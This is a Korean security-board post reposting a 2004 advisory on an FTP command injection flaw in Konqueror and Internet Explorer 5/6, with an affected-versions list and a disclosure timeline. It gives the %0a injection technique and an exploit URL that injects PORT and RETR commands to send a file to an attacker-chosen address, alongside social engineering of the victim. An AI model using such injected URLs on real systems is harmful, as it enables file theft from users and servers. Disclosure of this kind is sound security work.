해킹정보

게시글 'FTP 명령어 삽입을 이용한 공격'에 대한 정보
FTP 명령어 삽입을 이용한 공격
등록일 2006-09-25 조회 3,906
웹브라우저로 접근하는 FTP를 이용한 원격 명령 취약점 입니다. Summary Konqueror is "a very multifuncional HTTP browser included on KDE base package. Like others browsers it can use more protocols, for example FTP. This application is usually used to navigate through the file systems". Both Konqueror and Internet Explorer suffer from command injection vulnerability that can be exploited by an especially formed FTP URL. Details Vulnerable Systems: * Konqueror version 3.3.1 and prior * Internet Explorer 5.0 (3700.1000) * Internet Explorer 6.0 (2800.1106) In order to access to a server FTP using Internet Explorer you write "ftp://ftpuser:ftppass@server/directory" in the directories' bar and then the navigator connects to the server and executes the following commands (and other that have omitted because they are not important for this stuff). USER ftpuser PASS ftppass CWD /directory/ The security problem resides in which is possible to inject FTP commands on the URL adding at the code %0a followed by your injected commands. If you do "ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute those commands. USER ftpuser PASS ftppass CWD /directory somecommand The last line is an erroneous command, but it's not a problem because 'somecommand' has already been executed. Exploit: You need to deceive a user to go to your URL and then to introduce a valid user and password. So yes! The exploitation also requires to apply social engineering. Then you can do a lot of things using this bug like create or delete files and directories, but probably, the most interesting thing is to download files. Its possible to do that using this URL; ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file Then the server will connect to a.b.c.d and port e,f (see FTP RFC to translate the port number) and will send the file data. Timeline: 01/12/2004 - Bug discovered 02/12/2004 - KDE developers contacted 03/12/2004 - Fast developers reply 03/12/2004 - IE also afected, so 7a69ezine decided to publish the bug 05/12/2004 - Advisor released